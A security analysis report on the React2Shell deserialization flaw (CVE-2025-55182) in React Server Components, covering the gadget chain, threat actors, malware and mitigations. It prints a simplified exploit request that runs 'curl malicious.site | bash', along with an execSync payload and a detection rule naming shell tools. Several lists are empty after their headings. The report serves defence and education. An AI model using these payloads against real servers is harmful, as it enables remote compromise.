The React2Shell Crisis: An Exhaustive Analysis of CVE-2025-55182

1. Introduction: The Collapse of the Trust Boundary

In the annals of web security, few vulnerabilities achieve the notoriety and destructive potential of a true unauthenticated Remote Code Execution (RCE) flaw. In December 2025, the cybersecurity landscape was fundamentally altered by the disclosure of CVE-2025-55182, widely designated by the security research community as “React2Shell.” This vulnerability, carrying the maximum possible Common Vulnerability Scoring System (CVSS) score of 10.0, struck at the heart of the modern web development stack: the React Server Components (RSC) architecture.

The React2Shell vulnerability is not merely a coding error; it is a systemic failure arising from the complexities of modern “isomorphic” web applications—applications where code execution is fluidly shared between the client (browser) and the server. By exploiting the serialization mechanism known as the “Flight” protocol, attackers found a way to bridge the gap between untrusted user input and the privileged server environment. The result was a catastrophic exposure that allowed unauthorized actors to execute arbitrary system commands on servers running the world’s most popular web frameworks, including Next.js and React 19, without requiring a single credential.

This report provides a comprehensive, expert-level analysis of the React2Shell crisis. It is designed for security engineers, chief information security officers (CISOs), and full-stack developers who require a nuanced understanding of the threat. We will dissect the architectural evolution that made this vulnerability possible, perform a granular code-level analysis of the exploit mechanics, profile the sophisticated threat actors weaponizing the flaw, and detail the malware families currently circulating in the wild. Furthermore, we will establish a rigorous defense strategy that goes beyond simple patching to encompass deep architectural hardening.

1.1 The Vulnerability at a Glance

Before descending into the technical depths, it is essential to frame the scale of the issue.

Feature Description
CVE ID CVE-2025-55182 (React), CVE-2025-66478 (Next.js - Duplicate)
Severity Critical (CVSS 10.0)
Attack Vector Network (HTTP Request)
Authentication None Required
User Interaction None Required
Affected Components React Server Components (RSC) runtime
Key Mechanism Insecure Deserialization of “Flight” Protocol
Impact Full System Compromise via Remote Code Execution (RCE)

The defining characteristic of React2Shell is its “default open” nature. Unlike vulnerabilities that require specific, rare configurations, React2Shell affects standard, production-ready deployments of Next.js and React 19 “out of the box.” The mere presence of the RSC infrastructure—specifically the deserializers in react-server-dom-webpack—is sufficient to expose the server to attack.1

1.2 The “Kitchen and Waiter” Analogy

To conceptually ground the complex technical interactions detailed in this report, we will employ an extended analogy: The High-End Restaurant.

Imagine a modern web application as a restaurant.

In the era of traditional Single Page Applications (SPAs), the kitchen effectively sent raw ingredients (JSON) to the table, and the customer had to cook them on a portable stove (client-side JavaScript). React Server Components changed this: now the kitchen does the heavy lifting.

The React2Shell vulnerability represents a catastrophic failure in the waiter’s protocol. In a secure restaurant, the waiter only accepts specific orders from a menu. However, in the vulnerable version of React, the waiter accepts any tray the customer hands them and carries it directly into the kitchen.

The attacker (a malicious customer) constructs a tray that looks like a normal dirty dish but contains a concealed explosive (the malicious payload). The waiter (the Flight deserializer), lacking the training to inspect the tray (insufficient validation), carries it past the security doors and places it right next to the Chef (the server runtime). When the Chef attempts to unpack the tray, the explosive detonates, granting the attacker control over the entire kitchen.

2. Architectural Foundations: The Rise of RSC

To understand why CVE-2025-55182 occurred, one must analyze the seismic shift in web architecture that precipitated it. The vulnerability is a direct byproduct of the complexity introduced to solve the “hydration” problem in modern web development.

2.1 From Client-Side to Server-Side

For the past decade, the dominant paradigm in web development was Client-Side Rendering (CSR). Frameworks like React, Vue, and Angular shifted the rendering logic to the browser. The server became a thin API layer. While this improved interactivity, it introduced two major problems:

  1. Performance: Browsers had to download and execute massive JavaScript bundles before the user could see anything.

  2. Data Latency: The client had to make a round-trip to the server to fetch data, leading to “waterfall” loading states.

React Server Components (RSC) were introduced to solve this. RSC allows components to render exclusively on the server. A component can connect directly to a database, read a file, or access an internal microservice, and then stream the rendered UI to the client. This reduces the JavaScript bundle size sent to the browser and eliminates client-side data fetching waterfalls.

2.2 The Serialization Challenge

The introduction of RSC created a new engineering challenge: How do you transport a component tree from server to client?

You cannot simply send HTML, because the client needs to maintain the state of interactive components (like a counter or a form). You cannot send JSON, because JSON cannot represent complex JavaScript concepts like Promises, component references, or Symbols.

To bridge this gap, the React team developed a custom binary-like serialization format known internally as the Flight Protocol (and implemented in packages like react-server-dom-webpack).

The Flight protocol is sophisticated. It supports:

2.3 The Erosion of the Trust Boundary

In a traditional application, the boundary between client and server is sharp. The server accepts simple JSON or form data. In an RSC application, the boundary is porous. The server and client share component code. They communicate using a complex protocol capable of representing execution flow (Promises).

The React2Shell vulnerability exploits this complexity. The vulnerability exists because the communication is bidirectional. Not only does the server send Flight payloads to the client, but in frameworks like Next.js (specifically with “Server Actions”), the client sends Flight payloads back to the server to invoke functions.3

When the server receives this payload, it must “deserialize” (reconstruct) it into JavaScript objects to execute the requested action. This is the moment of danger. If the deserializer is too trusting, it allows the attacker to reconstruct objects that should never exist in the server’s memory space.

3. Technical Analysis: Anatomy of the Exploit

We will now dissect the vulnerability at the code level, examining the mechanics of the insecure deserialization and the gadget chain used to achieve Remote Code Execution.

3.1 The Root Cause: Insecure Deserialization

The vulnerability resides in the react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack packages—specifically in the module responsible for parsing the Flight reply (typically FlightReplyServer.js).

When the server receives a Flight payload, it parses the text stream line by line. Each line represents a “chunk” of data. The deserializer’s job is to convert these string chunks into live JavaScript objects.

The critical flaw was a lack of validation during the property assignment phase of deserialization. The code roughly followed this logic (simplified for analysis):

JavaScript

// Vulnerable logic representation
function resolveModel(response, id, value) {
  const model = response._chunks.get(id);
  // Iterating over keys in the received JSON
  for (const key in value) {
    // DANGER: No check to see if key is safe!
    model[key] = value[key]; 
  }
}

In JavaScript, every object has a prototype chain. The __proto__ property is a reference to the object’s prototype. If an attacker can set the __proto__ property of an object during deserialization, they can alter the behavior of that object and, crucially, how the runtime interacts with it. This is known as Prototype Pollution.

The fix implemented by the React team (Commit bbed0b0ee...) introduced a strict check using hasOwnProperty to prevent this pollution 5:

JavaScript

// Patched logic representation
function resolveModel(response, id, value) {
  //...
  for (const key in value) {
    // SAFETY: Ensure we are only setting own properties
    if (Object.prototype.hasOwnProperty.call(value, key)) {
      model[key] = value[key];
    }
  }
}

3.2 The Gadget Chain: A Symphony of Destruction

The React2Shell exploit does not execute code simply by sending a script. It relies on a “gadget chain”—a sequence of legitimate internal code paths that, when triggered in a specific order with specific data, result in unintended behavior.

The exploit chain observed in the wild 5 proceeds in four distinct stages, leveraging the dynamic nature of JavaScript Promises.

Stage 1: The Malicious “Chunk”

The attacker sends a crafted multipart HTTP request. The body of the request contains a Flight payload. A simplified version of the payload looks like this:

JSON

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {... }
}

This JSON object is designed to look like a “Promise” to the React runtime. React handles asynchronous operations by checking if an object has a .then() function (this is known as “duck typing”). If it does, React treats it as a Promise and attempts to “resolve” it.

Stage 2: The “Thenable” Hijack

The key to the exploit is the property "then": "$1:__proto__:then".

In the Flight protocol, the syntax $id:path allows one chunk to reference a property inside another chunk. Here, the attacker is telling the deserializer: “This object has a then method. You can find the code for this method at the path __proto__.then of chunk $1.”

By pointing the then method to the object’s own prototype then, the attacker forces the React runtime to execute a function controlled by the prototype chain. This effectively hijacks the control flow of the application.

Stage 3: Accessing the Constructor

Once control flow is hijacked, the attacker needs to break out of the sandbox. The payload navigates to the constructor of the object.

In JavaScript:

  1. {}.constructor is Object.

  2. Object.constructor is Function.

The global Function constructor is extremely powerful. It allows the creation of new functions from strings. For example, new Function("return 5") creates a function that returns 5. Crucially, code created this way has access to the global scope.

The payload references "$1:constructor:constructor". This gives the attacker a reference to the global Function constructor.

Stage 4: Execution via child_process

With access to Function, the attacker creates a function that imports the Node.js child_process module. This module is the standard way Node.js interacts with the underlying operating system.

The payload constructs arguments for this new function that look effectively like this:

JavaScript

process.mainModule.require('child_process').execSync('whoami')

Because the React server is running inside Node.js (which is standard for Next.js), this command is executed with the privileges of the web server user. The attacker now has a shell.

3.3 The Payload Structure

The actual payloads seen in the wild are complex, often involving multipart form data to bypass simple JSON parsers. Based on analysis of active exploits 6, a typical attack request looks like this:

HTTP

POST /_next/static/chunks/app/page.js HTTP/1.1
Host: vulnerable-target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
Next-Action:

------WebKitFormBoundary...
Content-Disposition: form-data; name="1"

{"then":"$1:__proto__:then", "status":"resolved_model", "value":"{\"then\":\"$B\"}", "_response":{"_prefix":"process.mainModule.require('child_process').execSync('curl malicious.site | bash')"}}
------WebKitFormBoundary...

Key Payload Components:

4. The Threat Landscape: Active Exploitation

The timeline of React2Shell exploitation reveals a rapid and sophisticated weaponization process. Unlike vulnerabilities that remain theoretical for weeks, CVE-2025-55182 was exploited within hours of public disclosure.

4.1 Chronology of a Crisis

4.2 Threat Actor Profiles

The exploitation of React2Shell is not monolithic; it involves distinct groups with varying motivations.

Group A: UNC6586 (The “Smash-and-Grab” Espionage)

Attribution: Suspected China-nexus state actor.8

Objective: Rapid establishment of persistence for long-term espionage.

TTPs (Tactics, Techniques, and Procedures):

Group B: Earth Lamia / UNC5454 (The Cloud Hunters)

Attribution: China-nexus threat group.8

Objective: Cloud environment compromise and lateral movement.

TTPs:

Group C: Jackpot Panda & Opportunists (The Miners)

Attribution: Financially motivated cybercrime groups.8

Objective: Cryptocurrency mining.

TTPs:

4.3 Malware Analysis: The React2Shell Arsenal

The malware deployed via this vulnerability is highly specific and adapted for the environment.

1. SNOWLIGHT (The Downloader)

SNOWLIGHT is a compact dropper designed to be the “beachhead” on a compromised server.8

2. VSHELL (The Backdoor)

VSHELL is a sophisticated RAT written in Go, making it binary-compatible with both Linux and Windows servers.2

3. Secret-Hunter (The Memory Scraper)

Perhaps the most insidious payload is the “Secret-Hunter” script identified by Trend Micro.5

5. Defense and Mitigation: A Layered Strategy

The Critical nature of React2Shell demands an immediate and layered response. Relying on a single control (like a WAF) is insufficient given the adaptability of the exploit payloads.

5.1 Layer 1: Remediation (Patching)

This is the non-negotiable first step. The vulnerability exists in the application code itself; therefore, the application code must be changed.

The Patching Matrix:

Framework/Package Vulnerable Versions Safe/Patched Versions
React Core (react-server-dom-*) 19.0.0, 19.1.0, 19.1.1, 19.2.0 19.0.1, 19.1.2, 19.2.1+
Next.js (App Router) v15.x, v16.x v15.0.5+, v16.0.7+
Next.js (Canary) v14.3.0-canary.77+ Latest Canary
Waku All previous Latest Release
RedwoodJS All with RSC enabled Latest Release

Crucial Note on Dependencies: Simply running npm update next might not be enough if your package-lock.json or yarn.lock pins the underlying react-server-dom-webpack version. You must verify the installed version of the sub-dependency:

Bash

npm list react-server-dom-webpack

If this returns a version in the 19.0.0–19.2.0 range, your application is vulnerable, regardless of the Next.js version number. Force an update of the lockfile.

5.2 Layer 2: Network Protection (WAF)

Web Application Firewalls provide a shield while patching is underway. However, the Flight protocol is complex, and regex-based rules can be bypassed.

Recommended WAF Rules:

Configure your WAF to block requests matching the following logic:

  1. Request Type: POST

  2. Content-Type: multipart/form-data OR text/x-component

  3. Body Patterns (Case Insensitive):

Platform-Specific Protections:

5.3 Layer 3: Runtime Protection (RASP & Detection)

If the WAF is bypassed, the final line of defense is detecting the behavior of the exploit.

Process Monitoring (Falco/EDR):

The exploit almost always results in the Node.js process spawning a shell command. This is highly anomalous behavior for a web server.

Elastic Detection Rule:

Elastic Security has released a specific query to detect this chain 15:

Code snippet

process.parent.name: "node" AND process.name: ("sh" OR "bash" OR "dash" OR "curl" OR "wget")

5.4 Forensics: “Am I Compromised?”

If you are running a vulnerable version, assume you have been scanned. To verify actual compromise, check logs for:

  1. HTTP Logs: Search for POST requests to /_next/static/... or endpoints with Next-Action headers that resulted in 200 OK status codes (successful execution) rather than 500 (blocked/failed).

  2. Network Logs: Look for outbound connections from your web servers to unknown IP addresses, particularly on non-standard ports, or connections to the known C2 domain reactcdn.windowserrorapis[.]com.

  3. File System: Check /tmp for suspicious hidden files (e.g., .x, .lock, .script).

6. Future Implications: The “Log4Shell” of JavaScript?

The security community has drawn parallels between React2Shell and the infamous Log4Shell vulnerability of 2021. Both are unauthenticated RCEs caused by insecure handling of input strings in ubiquitous libraries.

6.1 The Long Tail of Vulnerability

Like Log4Shell, React2Shell will likely have a “long tail.” The react-server-dom-webpack package is often a transitive dependency—a library used by a library used by your framework. Many developers may not even know they have it installed. We can expect to see exploits surfacing in legacy systems years from now as neglected internal tools are discovered by automated scanners.

6.2 The Evolution of Secure-by-Design

This crisis highlights the urgent need for “Secure-by-Design” principles in the JavaScript ecosystem. The decision to allow the Flight deserializer to process prototype properties by default was a design flaw. Future versions of these protocols must adopt a “allowlist” approach—explicitly defining what can be deserialized—rather than a “blocklist” approach that tries to filter out bad inputs.

6.3 Conclusion

The React2Shell vulnerability is a watershed moment for Server-Side Rendering security. It demonstrates that as we push logic from the client back to the server, we also push the attack surface. The “Waiter” (Flight Protocol) can no longer be trusted blindly.

For organizations utilizing React and Next.js, the path forward is clear: Patch immediately, audit your dependency trees for hidden vulnerable packages, and implement strict runtime monitoring. The era of assuming the server environment is safe from the client’s reach is over; in the world of RSC, the client is already in the kitchen.

Works cited

  1. China-nexus cyber threat groups rapidly exploit React2Shell vulnerability (CVE-2025-55182) | AWS Security Blog, accessed December 28, 2025, https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/

  2. Defending against the CVE-2025-55182 (React2Shell) vulnerability in React Server Components | Microsoft Security Blog, accessed December 28, 2025, https://www.microsoft.com/en-us/security/blog/2025/12/15/defending-against-the-cve-2025-55182-react2shell-vulnerability-in-react-server-components/

  3. React2Shell Explained (CVE-2025-55182): From Vulnerability Discovery to Exploitation, accessed December 28, 2025, https://www.resecurity.com/blog/article/react2shell-explained-cve-2025-55182-from-vulnerability-discovery-to-exploitation

  4. Critical vulnerability in React Server Components (RSC) protocol | by Akhshy Ganesh | Dec, 2025 | Medium, accessed December 28, 2025, https://medium.com/@akhshyganesh/critical-vulnerability-in-react-server-components-rsc-protocol-ed0053d8b65d

  5. CVE-2025-55182: React2Shell Analysis, Proof-of-Concept Chaos, and In-the-Wild Exploitation - Trend Micro, accessed December 28, 2025, https://www.trendmicro.com/en_us/research/25/l/CVE-2025-55182-analysis-poc-itw.html

  6. CVE-2025-55182 – React Server Components RCE via Flight …, accessed December 28, 2025, https://www.offsec.com/blog/cve-2025-55182/

  7. react2shell · GitHub Topics, accessed December 28, 2025, https://github.com/topics/react2shell

  8. Multiple Threat Actors Exploit React2Shell (CVE-2025-55182) | Google Cloud Blog, accessed December 28, 2025, https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182

  9. React2Shell Vulnerability Actively Exploited to Deploy Linux Backdoors - The Hacker News, accessed December 28, 2025, https://thehackernews.com/2025/12/react2shell-vulnerability-actively.html

  10. Exploitation of Critical Vulnerability in React Server Components (Updated December 12), accessed December 28, 2025, https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/

  11. The Silent, Fileless Threat of VShell - Trellix, accessed December 28, 2025, https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vshell/

  12. React2Shell and related RSC vulnerabilities threat brief: early exploitation activity and threat actor techniques - The Cloudflare Blog, accessed December 28, 2025, https://blog.cloudflare.com/react2shell-rsc-vulnerabilities-exploitation-threat-brief/

  13. Summary of CVE-2025-55182 - Vercel, accessed December 28, 2025, https://vercel.com/changelog/cve-2025-55182

  14. Responding to CVE-2025-55182 | Google Cloud Blog, accessed December 28, 2025, https://cloud.google.com/blog/products/identity-security/responding-to-cve-2025-55182

  15. Suspicious React Server Child Process - Detection.FYI, accessed December 28, 2025, https://detection.fyi/elastic/detection-rules/cross-platform/initial_access_execution_susp_react_serv_child/

  16. Priority-Zero Patching Event: React2Shell - Armis, accessed December 28, 2025, https://www.armis.com/blog/priority-zero-patching-event-react2shell/

  17. Critical Security Vulnerability in React Server Components, accessed December 28, 2025, https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

  18. PeerBlight Linux Backdoor Exploits React2Shell CVE-2025-55182 | Huntress, accessed December 28, 2025, https://www.huntress.com/blog/peerblight-linux-backdoor-exploits-react2shell